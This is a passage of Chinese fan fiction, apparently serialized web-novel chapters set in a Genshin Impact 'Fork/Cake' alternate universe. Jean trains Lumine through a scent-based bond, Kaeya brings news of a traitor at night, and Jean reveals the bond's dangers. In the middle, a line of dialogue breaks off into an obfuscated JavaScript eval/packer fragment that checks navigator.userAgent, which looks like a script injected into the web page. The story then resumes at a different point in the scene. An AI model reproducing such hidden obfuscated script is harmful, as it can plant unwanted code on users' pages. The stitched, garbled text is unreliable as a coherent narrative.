不知过了多久,琴终于收回了手,也退后了一步,拉开了距离。她转身走向石台,动作利落地重新密封了那个玻璃管。 迪卢克样本那诱惑的气息终于被彻底隔绝。 荧踉跄了一下,扶住旁边的墙壁才站稳。她的颈侧皮肤还在微微发烫,仿佛琴掌心的凉意已经烙在了那里。 “今天到此为止。”琴背对着她,声音恢复了平时的平稳,“你做得很好。第一次接触这个级别的样本,能最终找回控制,已经超出了我的预期。” 她顿了顿。 “去洗个澡,好好休息。明天……我们继续。” 说完,她拿起玻璃管和香炉,率先走向石阶。 荧独自留在训练场里,靠着墙壁,慢慢滑坐在地上。她抬起手,摸了摸自己的颈侧。皮肤上似乎还残留着琴手指的触感和温度。 晚餐时,琴比昨天更沉默。她几乎没怎么动食物,只是慢慢地喝着水,目光落在窗外渐深的夜色里,像是在思考什么极为复杂的问题。 荧也不敢多话,安静地吃完自己那份。饭后,她主动收拾了餐具,拿到厨房清洗。水很冷,冲刷在手上让她清醒了不少。 当她擦干手回到客厅时,发现琴没有像昨晚那样去处理文件,而是站在壁炉前——虽然壁炉里没有生火——望着空荡荡的炉膛出神。 荧犹豫了一下,还是走了过去。 “团长,”她小声问,“您……没事吧?” 琴没有立刻回答。过了好一会儿,她才轻声说:“我在想,这样训练你,到底对不对。” 荧愣住了。 “让你以我的气息为锚点,建立依赖……这是在帮你,还是在制造新的弱点?”琴转过头,看向荧,湖蓝色的眼眸在昏暗的光线下显得异常深邃,“今天下午,我用了更直接的方式干预。那很有效,但那种方式……模糊了训练者和被训练者之间应有的界限。” 她指的是那个按住颈侧的动作。 荧的脸颊有些发烫,但她还是鼓起勇气说:“可是……它确实让我清醒过来了。在那个样本面前,我觉得我需要……更直接的锚点。” “需要?”琴重复了一遍这个词,眼神变得有些锐利,“荧,你要记住,在Fork的世界里,‘需要’是一个非常危险的词。你需要食物,需要水,需要生存——这些都是本能。而当你开始‘需要’某个特定的人或气息来保持清醒时,那可能意味着你正在建立一种危险的……联结。” 联结。又是这个词。 “您是说……像您祖母那样?”荧脱口而出。 琴的瞳孔几不可查地收缩了一下。她沉默了很长时间,久到荧开始后悔自己问了这个问题。 “艾德琳祖母的悲剧,在于她的‘锚点’是一个Cake,一个她既渴望又无法真正拥有的对象。”琴最终开口,声音很轻,像在说给自己听,“那是注定痛苦的死循环。但我与你不同,我们同为Fork,理论上不存在那种吞噬的欲望。所以这种‘联结’应该是安全的,可控的,是纯粹的辅助工具。” 她像是在说服自己。 “可是……”荧犹豫着,“如果真的完全安全,您刚才又为什么犹豫?” 琴看向她,忽然露出一丝极淡、近乎疲惫的笑意。 “因为人是会变的,荧。”她说,“情感、依赖、习惯……这些都会变。今天纯粹的工具,明天可能会变成拐杖,后天可能就成了枷锁。我在想,我是否在自以为是的‘帮助’中,正不知不觉地给你套上另一种形式的止咬器。” 壁炉前安静下来。只有窗外隐约传来的风声。 荧看着琴的侧脸,看着她在昏暗光线里显得格外清晰、也格外脆弱的轮廓。她忽然意识到,这位总是完美、冷静、强大的团长,内心或许也充满了和自己一样的、对未知的恐惧和对选择的怀疑。 “我不怕。”荧轻声说,声音却很坚定,“如果一定要有一个‘锚点’,我宁愿它是您。至少……您永远不会变成我的‘食物’。” 琴的身体几不可查地僵了一下。她转过头,深深地看着荧,眼神复杂得让荧看不懂。 许久,她抬起手,似乎想碰碰荧的脸颊,但在半空中停住了,最终只是轻轻拍了拍她的肩膀。 “去睡吧。”琴说,“明天还要训练。” 她的声音里,带着一丝荧从未听过的、近乎温柔的叹息。 荧点点头,转身走向自己的房间。走到门口时,她忍不住回头看了一眼。 琴依然站在壁炉前,一动不动,像一尊孤独的雕像。昏黄的光线将她的影子拉得很长,投在石壁上,随着烛火的摇曳而晃动,仿佛随时会碎裂。 深夜。 荧躺在床上,辗转反侧。颈侧被琴触碰过的地方,似乎还在隐隐发烫。她闭上眼,就能清晰地回忆起下午训练场里,琴那双冰冷的、清醒的眼睛,和那将她从温暖迷雾中强行拽出来的、带着疼痛的锐利气息。 我需要那个锚点吗? 她问自己。 答案是:是的,我需要。 在那醇厚得几乎让她融化的诱惑面前,琴的存在,琴的气息,琴那毫不留情的冰冷,确实是她唯一能抓住的、真实的东西。 这个认知让她感到一丝不安,但更多的是一种认命般的坦然。 就在她迷迷糊糊即将睡着时,庄园外,突然传来了极其轻微的、马蹄踩踏碎石的声音。 荧瞬间清醒,猛地坐起身。她侧耳倾听——不是幻觉,确实有马蹄声,由远及近,最后停在了庄园紧闭的铁门外。 这么晚了,会是谁? 她轻手轻脚地跳下床,摸到窗边,小心翼翼地掀起厚重窗帘的一角。 月光下,一个熟悉的身影正翻身下马。冰蓝色的神之眼在夜色中散发着幽幽的光芒,照亮了他半边带着玩味笑容的脸。 是凯亚! 他抬头,视线精准地投向荧所在的窗口,仿佛早就知道她在那里。然后,他抬起手,对着窗口的方向,轻轻挥了挥。 笑容灿烂得,让荧的心直接沉到了谷底。 【下章预告】 深夜到访的凯亚带来了关于内应的爆炸性消息,却也将外界的危险与算计直接带入了这座封闭的庄园。琴与凯亚的正面冲突一触即发,而荧则被迫在两人之间,做出她的选择和站队。迪卢克的“替代样本”所带来的影响,远比她们预想的更加深远…… 10. 夜访客 铁门外传来的不只是马蹄声,还有一道清脆的、金属叩击门环的声响。 “咚、咚、咚。” 不紧不慢,带着凯亚特有的、让人牙痒的节奏感。在万籁俱寂的深夜山林里,这声音清晰得刺耳。 荧贴在冰冷的窗玻璃后,看着月光下凯亚那张笑意盎然的脸,心脏在胸腔里撞得生疼。他怎么找到这里的?琴明明说过这里的位置是绝密。是内应?还是他一直在监视? 没等她想明白,楼下已经传来了脚步声,快得惊人。琴甚至没有点灯,荧只看到一道深灰色的影子掠过客厅,下一秒,主宅厚重的大门被猛地拉开。 琴站在门口,身上只披了一件外套,赤着脚踩在冰凉的石板地上。她的长发散着,在夜风里微微扬起。荧从未见过琴这个样子——褪去了白日里所有刻意的规整与克制,像一头被侵入巢穴的野兽,周身散发着一种近乎实质的、冰冷的怒意。 “凯亚。”琴的声音比夜风更冷,“给我一个不立刻把你扔进悬崖的理由。” 凯亚站在铁门外,隔着锈迹斑斑的栏杆,笑容半点没减。“哎呀,团长,别这么凶嘛。我大老远跑来,可是有正事。”他晃了晃手里一个密封的牛皮纸袋,“关于内应,有突破了。我想……您应该会想第一时间知道。” 琴的目光落在那纸袋上,沉默了几秒。然后,她抬手解开了铁门上一道隐形的符文锁。门轴发出艰涩的“嘎吱”声,缓缓向内打开。 “进来。”琴转身往回走,语气不容置疑,“只给你十分钟。” 凯亚牵马走进庄园院子,随手把缰绳系在一棵枯树上。他抬头,又朝荧所在的窗口望了一眼,甚至还眨了眨眼,这才不慌不忙地跟着琴走进了主宅。 荧在楼上踌躇了几秒。她知道自己应该待在房间里,琴明确说过“不要见任何外人”。但好奇心,以及更深的不安,驱使着她悄悄推开房门,踮起脚尖走下楼梯。 客厅里没有点灯,只有壁炉里琴刚刚点燃的一小簇火焰,提供着有限的光亮和温度。琴已经重新披上了一件更厚的外袍,坐在壁炉旁唯一的高背椅上,坐姿笔直,像在主持军事会议。凯亚则懒洋洋地靠在对面墙壁上,手里把玩着那个牛皮纸袋。 “……所以你就连夜闯到这里?”琴的声音压得很低,但每个字都像冰棱,“你知不知道,如果有人跟踪你——” “放心,团长。反追踪的活儿,我比你在行。”凯亚笑嘻嘻地打断,“我绕了四圈,还特意去清泉镇兜了个风,甩掉了所有可能的小尾巴。再说了……”他瞥了一眼楼梯的方向,尽管荧确信自己藏在阴影里,“您选的这个地方,一般人就算知道大概方位,也找不到具体入口。古恩希尔德家族的老把戏了,对吧?” 琴没有接他的话茬。“说正事。内应是谁?” 凯亚脸上的笑容淡了些。他站直身体,将牛皮纸袋放在两人之间的矮桌上,却没有立刻打开。 “在说之前,团长,我得先确认一件事。”凯亚的冰蓝色眼眸在跃动的火光中显得异常专注,“您对这位‘小顾问’的训练……到底是为了让她成为对抗‘捕食者’的武器,还是……”他顿了顿,“为了制造一个您理想中的‘完美样本’,甚至不惜把她和外界彻底隔离?” 空气骤然凝固。 荧在楼梯阴影里屏住了呼吸。她看到琴放在扶手上的手指,慢慢收紧了。 “这与你无关。”琴的声音冷得像西风高原的冻土。 “哦?真的无关吗?”凯亚往前走了半步,弯腰撑在矮桌边缘,拉近了和琴的距离,“如果内应的身份,恰恰与您正在进行的‘实验’有关呢?如果那个潜伏在骑士团阴影里的人,目标不仅仅是帮‘捕食者’抓走她,还想得到您的‘研究数据’呢?” 壁炉里的火焰“噼啪”爆开一颗火星。 琴的瞳孔几不可查地收缩了一下。但她脸上没有任何表情变化,只是慢慢向后靠进椅背,用一种审视的目光看着凯亚。 “你在指控谁?”琴问。 凯亚终于打开了那个牛皮纸袋,抽出里面的文件。不是很多,只有几页纸和两张画像。他将第一张画像推到琴面前。 画像上是一个中年男人,穿着西风教会的执事袍,面容普通,气质温和。 “埃德温,后勤部档案室的文员,在骑士团工作了十五年。”凯亚说,“性格低调,人缘不错,唯一的爱好是养鸽子。我们之前排查了三遍,都没发现他有任何问题。” 琴看着画像,眉头微微蹙起:“继续。” “问题出在鸽子上。”凯亚抽出第二张纸,上面是潦草的字迹,像是某种速记符号的破译,“我的人截获了他上个月放出的三只信鸽。破译后的内容显示,他在定期向城外汇报骑士团的人员调动、物资储备,以及……”他抬起眼,看向琴,“Fork管控科的所有外勤任务记录,包括您每一次带荧顾问出城训练的时间、地点和护卫配置。” 琴的呼吸滞了一瞬。 “但这还不是最有趣的。”凯亚的声音压得更低了,带着一种危险的兴奋感,“在搜查他住所的时候,我们发现了这个。”他抽出最后一张纸,那是一份抄录的、残缺的记录,纸张边缘有烧焦的痕迹。 琴接过那张纸。火光下,荧看到她拿着纸的手指,微微颤抖了一下。 “这是……”琴的声音第一次出现了裂痕。 “古恩希尔德家族早期关于‘Fork-Cake联结稳定性’的实验记录片段。”凯亚接话,语气里没了平时的轻佻,“从笔迹和用纸判断,至少是八十年前的东西。但上面的一些数据标注方式,和您最近提交给丽莎小姐、要求她协助分析的‘样本训练进展报告’,格式几乎一模一样。” 他直起身,冰蓝色的眼眸牢牢锁住琴。 “埃德温只是一个传递信息的信使。他背后的人,不仅能接触到骑士团的核心档案,还能拿到你们家族封存的、连普通骑士团高层都无权调阅的禁忌研究资料。”凯亚一字一顿,“这个人,就在您身边,团长。而且,他或她,对您正在做什么,了如指掌。” 客厅里死一般寂静。只有壁炉火焰燃烧的细微声响。 荧躲在楼梯的阴影里,手脚冰凉。凯亚的话像一把冰冷的钥匙,捅开了她一直隐约感觉到、却不敢细想的恐惧——她的训练,她的挣扎,她每一次在琴面前暴露的脆弱和进步,都可能被另一双眼睛冷冷地记录着,评估着,甚至……期待着。 琴缓缓放下了那张残破的记录。她闭上眼睛,几秒钟后再次睁开时,里面所有的情绪波动都已消失,只剩下深不见底的寒潭。 “埃德温现在在哪里?”她问,声音恢复了绝对的冷静。 “地牢。我亲自审的。”凯亚说,“他很配合,或者说,他早就知道自己会被发现。他交代的内容不多,咬定自己只是收钱办事,不知道上线是谁,联络方式只有信鸽。但他在崩溃边缘时,说漏了一句话。” “什么话?” 凯亚盯着琴的眼睛,缓缓复述:“‘那位大人说……实验就快成功了,不能让果实被别人摘走。’” “果实……”琴低声重复。 “指的是谁,应该不用我多说了吧?”凯亚的目光,再次有意无意地飘向楼梯的方向。 荧感觉自己的血液都要冻住了。 琴沉默了很长时间。火焰在她脸上投下摇曳的光影,让她的表情晦暗不明。许久,她终于开口,声音里带着一种疲惫的沙哑: “你的情报很有价值,凯亚。你可以回去了。后续调查,我会亲自接手。” “回去?”凯亚挑眉,“团长,现在的情况是,您这个‘安全屋’可能根本就不安全。那个内应能弄到八十年前的实验记录,会查不到这座家族旧庄园的位置?我敢打赌,埃德温被捕的消息,现在已经传出去了。‘捕食者’,或者他背后的‘那位大人’,随时可能找上门来。” 他往前走了一步,姿态不再是玩世不恭的部下,更像一个平等的、甚至带着些许压迫感的谈判者。 “我的建议是,立刻终止这里的封闭训练,把荧顾问带回骑士团总部。在堡垒里,总比在这荒山野岭孤立无援要安全。” “不行。”琴几乎想都没想就拒绝了,“她的训练进入关键阶段,现在中断,前功尽弃。而且,总部未必就更安全——内应可能就在总部。” “那您打算怎么办?继续在这里,等着被人瓮中捉鳖?”凯亚的声音也冷了下来,“团长,我知道您对她有‘安排’,有‘计划’。但任何计划,都得建立在人活着的基础上。如果她被抓走,或者出了意外,您的所有研究,所有‘证明’,就都成了笑话。” “我不会让那种事发生。”琴站起身,她比凯亚矮一些,但此刻的气势却丝毫不弱,“这座庄园的防护,远比你以为的要坚固。而且,我有我的方法,确保她的安全。” “您的方法?”凯亚扯了扯嘴角,那笑容没什么温度,“是指那个‘镇魂香’,还是指您正在尝试建立的、更直接的‘气息联结’?” 这句话像一根针,狠狠扎进了寂静里。 琴的身体几不可查地僵硬了。她看着凯亚,眼神锐利得像要把他剖开:“你调查我?” “保护蒙德和骑士团的成员,是我的职责。”凯亚毫不退让地回视,“而了解潜在的风险,是履行职责的前提。您动用了家族封存的禁忌知识,试图在一个未完全觉醒的Fork身上建立定向引导和防护联结——这在古恩希尔德家族的历史上,是被标注为‘高风险’的操作。您没告诉荧顾问,这种联结一旦建立,如果被强行切断,或者被更强大的Cake气息覆盖干扰,会对她造成什么样的精神反噬吧?” 楼梯阴影里,荧猛地捂住了嘴,才没让自己惊呼出声。精神反噬?琴从来没有提过这个。 琴的脸色在火光下显得有些苍白。但她没有否认,只是缓缓地说:“我有把握控制风险。” “您的把握,是建立在一切按您计划进行的基础上。”凯亚摇头,“但我们现在面对的是藏在暗处的敌人,一个可能对您家族秘辛和Fork研究都极为了解的敌人。他如果知道您在用这种方法‘标记’和‘保护’她,您猜他会怎么做?是破坏联结让她失控,还是……利用这个联结,反过来影响甚至控制她?” 每一个字,都像重锤砸在荧的心上。她感到一阵眩晕,不得不紧紧抓住冰冷的楼梯扶手。 琴沉默了。她放在身侧的手,握成了拳,指节发白。 凯亚看着她的样子,冰蓝色的眼眸深处,掠过一丝极其复杂的情绪。那里面有对琴固执的恼怒,有对局势的担忧,还有一种……连他自己或许都没完全理解的,看到琴如此不计代价地保护另一个人时,所产生的细微刺痛感。 他放缓了语气,但话里的内容依旧尖锐:“团长,我不是来跟您吵架的,也不是来质疑您的方法。我只是希望您明白,她现在不止是您的‘样本’,也是骑士团的顾问,是蒙德需要保护的人之一。她的安全,不应该完全系于您一个人的判断和手段上。” 他顿了顿,声音低了些,更像是在自言自语:“而且……您真的觉得,把她完全隔绝起来,只让您一个人的气息成为她世界的全部,是对她好吗?Fork也是人,不是实验体。她需要接触真实的世界,需要学会在复杂的环境里控制自己,而不是永远活在一个被您净化过的无菌箱里。” 这番话说完,客厅里陷入了更长久的、令人窒息的沉默。 荧站在楼梯上,觉得自己像个偷听大人谈话的孩子,听到了太多远超她理解和承受能力的东西。联结,反噬,标记,无菌箱……这些词在她脑子里嗡嗡作响。她想起下午琴按住她颈侧时,那种被“钉回现实”的侵略性触感,想起琴说她能感知到“连接”的强度,想起琴在书房里看着那本日志时,眼中深藏的、想要打破枷锁的执念。 琴所做的一切,背后到底藏着多少她不知道的算计和风险? 而凯亚……他深夜冒险前来,真的只是为了传递情报吗?还是说,他也和迪卢克一样,在用他自己的方式,试图把她从琴的“实验”里拉出来? 就在这令人难堪的寂静几乎要凝固成实体时,琴忽然开口了,声音很轻,却异常清晰: “凯亚,你对她,到底抱着什么样的心思?” 凯亚脸上的笑容,第一次彻底消失了。他站在那里,像一尊突然被冻结的冰雕。 琴没有等他回答,继续说了下去,语气是一种冰冷的、剖析式的平静: “是骑兵队长对下属的关心?是Cake对Fork天然的好奇和警惕?还是说……”她抬起眼,湖蓝色的眼眸里倒映着跳动的火焰,也倒映着凯亚骤然收缩的瞳孔,“像迪卢克一样,你也对她产生了那种危险的‘兴趣’?” 楼梯上,荧的呼吸彻底停了。 凯亚与琴对视着,空气里仿佛有无形的刀锋在碰撞。许久,凯亚的嘴角才慢慢扯开一个弧度,但那笑容里没有任何暖意,只有一种近乎自嘲的锋利。 “团长,您这是在审问我吗?”他轻声反问,“那您呢?您对她,又是什么心思?是研究者对样本的专注,是师长对学生的责任,还是……”他模仿着琴的语气,“古恩希尔德家族的继承者,对那个可能证明自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凯亚没有立刻回答。他看着她,目光在她脸上逡巡,像是在评估她这句话里有多少真实的勇气,又有多少是强撑的镇定。许久,他才缓缓开口: “是。”他承认得很干脆,“我不信任完全封闭的环境,也不信任任何把一个人变成‘唯一解’的方案。我觉得你需要知道所有的信息,然后自己做选择,而不是被蒙在鼓里,被别人以‘为你好’的名义安排一切。” 他说这话时,目光意有所指地扫过琴。 荧再次点了点头。她站在那里,看着眼前这两个立场迥异、却同样对她有着复杂影响的人,感到一种前所未有的疲惫,以及一种从疲惫深处生长出来的、冰冷的清醒。 “情报我收到了。”她对凯亚说,“谢谢您冒险送来。关于内应和可能的危险,我会小心。” 然后,她转向琴:“团长,训练可以继续。但关于‘联结’……我需要知道全部,包括所有的好处和所有的风险。然后,由我自己决定,要不要继续用它,以及……用到什么程度。” 她的语气很平静,但里面有一种不容置疑的坚定。那不是学员对教官的请求,而是一个独立的个体,在索回对自己生命的知情权和选择权。 琴看着荧,湖蓝色的眼眸里翻涌着极其复杂的情绪——有震惊,有被挑战权威的愠怒,有对她突然“长大”的陌生感,或许……还有一丝极隐蔽的、被那坚定眼神所触动的震颤。 最终,所有的情绪都沉淀下去,化为一种深沉的、带着审视的平静。 “好。”琴说,声音恢复了平时的沉稳,“明天训练开始前,我会给你所有相关资料。” 她答应了。如此干脆,反倒让荧愣了一下。 “至于你,凯亚。”琴的目光转向骑兵队长,重新带上了团长式的威严,“情报已经送到,你的‘确认’也完成了。现在,立刻离开。庄园的防护会重新调整,在训练结束前,我不希望再有任何‘访客’。” 这是逐客令,也是最后的警告。 凯亚挑了挑眉,似乎还想说什么,但目光在荧和琴之间转了一圈后,他耸了耸肩,恢复了那副玩世不恭的样子。 “好吧,看来我这个不受欢迎的客人该走了。”他朝荧挥挥手,“小顾问,自己保重。记住,蒙德城的大门,永远为你敞开。” 说完,他不再看琴,转身走出了客厅,身影很快融入门外的夜色中。马蹄声再次响起,由近及远,渐渐消失在山林深处。 客厅里,又只剩下荧和琴两个人。壁炉的火光摇曳,将她们的影子长长地投在地上。 琴没有看荧,只是走到壁炉边,拿起铁钳,拨弄了一下里面的木柴。火焰“腾”地蹿高了一些,映亮了她没什么表情的侧脸。 “去睡吧。”她说,声音里听不出情绪,“明天……会是很长的一天。” 荧看着她孤独挺直的背影,张了张嘴,最终还是什么也没说,默默转身上了楼。 回到房间,关上门,荧背靠着冰冷的木门,缓缓滑坐到地上。她把脸埋进膝盖,身体无法控制地轻轻颤抖起来。 今晚听到的每一个字,都在她脑子里嗡嗡作响,像一群被困的蜂。内应,联结,反噬,果实,占有欲,无菌箱…… 她一直知道琴对她有所图谋,知道迪卢克和凯亚的接近带着各自的目的。但直到今晚,当这些目的被赤裸裸地摊开在眼前,用那些冰冷的、分析性的词汇描述出来时,她才真切地感受到那种被物化的寒意。 她是样本,是顾问,是果实,是希望,是需要被保护的对象。 唯独不是一个可以简单被爱、或者去爱的……普通人。 她必须自己找到那条路。 即使那条路,意味着要直面所有的风险,所有的算计,以及……所有那些她尚未完全理解、却已悄然缠绕上她的、复杂而沉重的情感。 窗外,夜色浓稠如墨。 山林深处,隐约传来夜枭的啼叫,悠长而孤寂。 这座古老的庄园,依旧沉默地矗立在黑暗里。 【下章预告】 琴兑现承诺,向荧揭示了“联结”的全部真相与风险,荧必须在知情后做出选择。训练继续,但气氛已截然不同。庄园外,凯亚带回的情报在骑士团内部引发暗流,而迪卢克沿着“王”的线索追查到边境,却遭遇了意想不到的“熟人”。三方势力的视线,正同时聚焦于这座孤立的训练场,脆弱的平衡即将被打破…… 11. 交心 天还灰着,庄园里那股子潮气已经爬上来了,贴着脚脖子往裤腿里钻。荧下楼的时候,木头台阶吱吱呀呀响,声音在空荡荡的楼道里撞来撞去,最后摔碎在一楼石板地上。 琴已经在长桌前坐着了。 她今天穿得特别板正——深蓝色团长制服连风纪扣都扣紧了,袖口熨得笔直,金头发一丝不乱地挽在脑后,用一根素银簪子固定。这副打扮不像要训练,倒像要去参加葬礼,或者主持一场审判。 桌上没摆早饭。 摊着的是几卷旧羊皮纸,纸边已经脆得起了毛;一本硬壳子笔记本,封皮是磨损的深褐色;三五个大小不一的玻璃瓶,贴着褪色的标签。最扎眼的,是正中间那件铁器。 黑沉沉的颜色,形状像某种猛禽的喙,边缘雕着一圈精细的荆棘花纹。荧走近两步才看清内侧——密密麻麻的细小倒刺,锈成了暗红色,像干透的血痂。 “坐。” 琴说,没抬头。她推过来一杯水。 荧坐下,屁股底下那张硬木椅子凉得她微微一颤。眼睛还盯在那东西上。那些刺很小,但每一根的尖端都磨得锐利,在晨光里泛着钝光。 “这是‘共缚枷锁’。” 琴的指尖碰了碰铁器的边缘,动作很轻,像在碰什么易碎的东西。铁器发出沉闷的回响。 “我曾曾姑奶奶做的--艾德琳·古恩希尔德。”她抬眼看了看荧,湖蓝色的瞳孔里映着壁炉里跳动的火苗,却没什么温度,“做了两副。” 她等了几秒,等荧消化这句话。 “一副给她的Fork,一副给她自己。”琴继续说,语气平得像在念骑士团物资清单,“给Fork的那副,刺朝外,要是硬扯,会从外面撕烂自己的脸。给她自己的那副,刺朝里,硬扯的话,刺会扎穿手心,把手钉在锁扣上。” 壁炉里柴火噼啪响了一声,火星子溅出来,落在石砌的炉沿上,很快暗下去。 荧没说话。她喉咙发干,端起那杯水喝了一口。水是冷的,顺着食管滑下去,凉了一路。 “为什么?”她问出口才觉得这问题有点傻——人都把自己锁死了,还能为什么? “怕自己跑了。”琴说,手指从铁器上收回来,在羊皮纸上无意识地划着圈,“怕哪天害怕了,想丢下那个人自己逃。就先把自己拴死,钥匙扔了。” 她顿了顿,抬眼看向窗外的灰蒙天色:“那时候她才十九岁。” 客厅里安静下来。只有炉火燃烧的细碎声音,还有窗外很远的地方,风穿过枯树林的呜咽。 琴深吸一口气,像是要把什么情绪压下去。她翻开那本硬壳笔记,推到荧面前。纸页泛黄,边角卷起,上面画着些复杂的图表,写满了荧看不懂的符号和密密麻麻的小字注释。 “这叫‘双向联结’。”琴的手指在纸面上划了一道线,指尖划过那些工整的字迹,“你闻到我的‘镇魂香’觉得踏实,就是这东西的苗头。真建成了,分三个层次。” 她开始讲,一句接一句,没什么停顿,像早就背熟了。 初级联结,单向感知。一方能模糊感应另一方的强烈情绪或气息波动。荧现在对琴的“镇魂香”有反应,就属于这个阶段的雏形。 中级联结,双向浅层链接。双方在近距离内能感知彼此的基础状态——饿不饿,累不累,受没受伤。距离越近,感知越清晰。 讲到高级的时候,琴的声音里有个地方微微顿了一下,很轻微,但荧听见了。 “……高级联结,深层共鸣。”琴的手指停在图表最下方那个复杂的结构图上,“即使隔开一定距离,也能感知对方的大致方位和情绪状态。联结强度足够高的话,一方的气息可以远程为另一方提供‘锚定’或‘安抚’效果。” 她抬眼看向荧:“理论上,如果我们的联结达到这个程度,即使你在蒙德城另一头失控,我在这边加强气息输出,也能帮你稳定下来。” “代价呢?”荧问。她知道一定有代价。 琴从桌上拿起一个最小的深紫色玻璃瓶。瓶子看着普通,但瓶口那儿的空气有点扭曲,像夏天晒热的石板地上头那股蒸腾的热气。 “这叫‘断链试剂’。”琴说,声音低了些,“万一联结实验失控,或者……需要强行终止,就用这个。” 她拔开瓶塞。 没什么气味散出来,但荧胳膊上的汗毛瞬间立起来了。身体里有什么东西在往后缩,是本能在尖叫——远离那个瓶子,越远越好。她甚至能感觉到嘴里泛起一股铁锈似的苦味,舌根发麻。 “联结建成了,就像两块皮肉长到一起了。”琴看着瓶子,没看荧,“血管、神经都连上了。硬撕开的话,看撕得多狠。” 她重新塞好瓶塞,那股无形的压迫感才稍微减退。荧偷偷松了口气,才发现自己一直屏着呼吸。 “轻度反噬:剧烈头痛、恶心、短期方向感错乱,持续数小时到几天。”琴开始列举,语速平稳得像在念病历,“中度反噬:感知紊乱,分不清自身气息和外界气息,可能出现幻觉,或者暂时失去分辨Fork和Cake的能力。持续数天到几周。” 她停了一下,手指在瓶身上轻轻敲了敲。 “重度反噬:精神图景永久性损伤,部分感知功能丧失,或者陷入长期的意识混沌——分不清自己是谁,分不清饿的是自己还是别人,可能一直糊涂下去。” 琴抬眼,直视荧的眼睛:“家族有记载的十七例实验性联结,后来强行切断的案例里,三例导致重度反噬。其中两例……最后疯了。剩下一例,十年没能离开疗养院。” 每一个字都像小石子,一颗一颗砸进荧的胃里,沉甸甸地坠着。她手心全是汗,在膝盖上蹭了蹭,布料湿了一小片。 脑子里不受控制地冒出些画面——自己缩在某个墙角,搞不清楚身上的难受到底是饿还是怕,还是别的什么人的感觉。像一具被拆开后胡乱缝合的布偶,线头全是乱的。 “所以,”她声音有点紧,清了清嗓子才继续说下去,“如果我用了您的‘锚点’,建了这个联结,然后被人破坏了,我可能会变成那样?” “理论上是。”琴把瓶子放回桌上,动作很轻,像怕惊动什么,“但我没打算让联结建到那么深。‘镇魂香’只是个引子,离真正的深层联结还远得很。而且——” 她顿了顿,手指无意识地捻着羊皮纸的边缘:“只要我在,只要没人故意捣乱,我能控住局面。” 荧盯着她:“那要是您不在呢?” 问题问出来了,悬在两人之间的空气里。 琴沉默了。 她低下头,看着自己交握放在桌上的手。手指攥得很紧,关节泛白,皮肤绷得发亮。荧看见她手背上那道浅白色的旧疤——应该是剑伤留下的,从虎口一直延伸到小指根部。 “……会乱。”琴终于说,声音比刚才低了些,里头有什么东西裂开了缝,“联结坐标如果被恶意覆盖、扭曲,或者遭遇高强度干扰,可能会诱发不稳定波动。你可能会难受,像轻度或者中度反噬的症状。” 她抬起眼,湖蓝色的瞳孔里映着荧的脸:“但只要我能赶到,只要干扰源不是太强,我能通过加强自身气息输出,把联结重新稳住。” 荧听明白了。每个字都听明白了。 她后背发凉,那股凉意顺着脊椎往上爬,爬到后颈,激起一层鸡皮疙瘩。 “就是说,”她慢慢说,每个字都说得费劲,像从泥地里往外拔脚,“我清不清醒,疯不疯,全看您在不在旁边,以及您愿不愿意、能不能保着这个联结。” 客厅里安静得吓人。 炉火晃了一下,光在琴脸上跳了跳,照亮她紧绷的下颌线。她没点头,也没摇头,就那么看着荧。沉默就是答案。 好一会儿,琴才重新开口,声音又平回去了,但底下绷着根弦,荧听得出来。 “这是现在能想到的、最能帮你稳住状态的法子。”她说,“别的路子也有风险。硬扛可能失控伤人,用药可能上瘾,效果还会越来越差。这个法子,至少风险我能算,我能控。” 她身子往前倾了倾,手肘撑在桌上,目光直直地刺过来:“我没把全貌告诉你,是觉得你知道了会怕。怕了就没法好好练,可能测试时数据失真,可能干脆不肯用这法子了——而这是目前数据模型里成功概率最高的路径。” “所以您替我选了。”荧说。她没生气,就是陈述事实。 “我担着选的责任。”琴说,每个字都钉在桌面上似的,笃定得让人心慌,“万一以后出事了,伤着你了,责任我背。我的研究记录、我的决策过程、甚至——” 她停了一下,声音低下去,但更沉:“——我这条命,都能拿出来交代。” 荧心里突然冒起一股火。不是气琴瞒着她,是气琴这副“我自己也能当筹码押上去”的劲儿,这副把自己也摆在实验台上的冷静。好像人命——她自己的命——也只是数据的一部分。 “我不要这种交代。”她说,声音比她自己想的要硬,像石头砸在石板上,“我真要是疯了,您的记录、您的命,对我有什么用?能让我清醒过来吗?能让我分得清自己是谁吗?” 琴的肩膀几不可见地绷了一下。很小很小的动作,但荧看见了。琴垂下眼睛,盯着桌上那道木纹,手指在桌面轻轻敲了两下——那是她思考时的小动作,荧这几天观察出来的。 “你要什么?”琴问,没抬头。 荧吸了口气。胸口有点闷,她需要把这口气捋顺了才能往下说。 “我想知道全貌。”她一字一句地说,“不是为了让您担责任,是为了我自己能想明白——这险值不值得冒,知道了前头有坑该怎么绕着走,怎么在坑边上垒个护栏。” 她指了指那个鸟嘴形状的止咬器。 “比如我要是早知道硬扯开联结这么吓人,我就会明白,一旦开始了,就得把这东西当眼珠子似的藏好护好,不能让它随便暴露在可能被破坏的环境里。我会更小心每一个靠近的人,会多问几句‘这人想干什么’‘他知不知道什么’。而不是像之前那样——” 荧停了一下,想起前几天训练时那种懵懂的状态。琴让她闻“镇魂香”,她就闻;琴说这个能帮她稳定,她就信。像只被牵着走的羊。 “——而不是像之前那样,光知道‘闻这个味道能让我安静’,别的什么都不想。” 说完这些,荧觉得累。不是身体累,是心里那根一直绷着的弦,突然松了一点点,后劲儿上来的那种疲乏。 她等着琴说话,或者发火,或者解释。但琴只是看着她,眼神变了。里头有什么东西晃了晃——惊讶,打量,还有些荧看不懂的情绪,沉在湖蓝色的深处。 “你比我想的……”琴说了半句,没说完。她收回目光,手指无意识地在羊皮纸上磨了磨,指腹蹭过粗糙的纸面,发出沙沙的细响。 好一会儿,她才又开口,声音里透出点累,那种从骨头缝里渗出来的累: “你说得对。”琴说,抬头看向荧,这次眼神没那么锐利了,有点疲惫的坦诚,“知道真相不是加担子,是给武器。我之前……小看你了。我把你当需要保护的样本,没把你当能拿刀的人。” 她站起来,动作有点迟缓,像一夜没睡好。走到壁炉边,背对着荧。火光把她影子投在石墙上,拉得老长,边缘随着火焰跳动而模糊晃动。 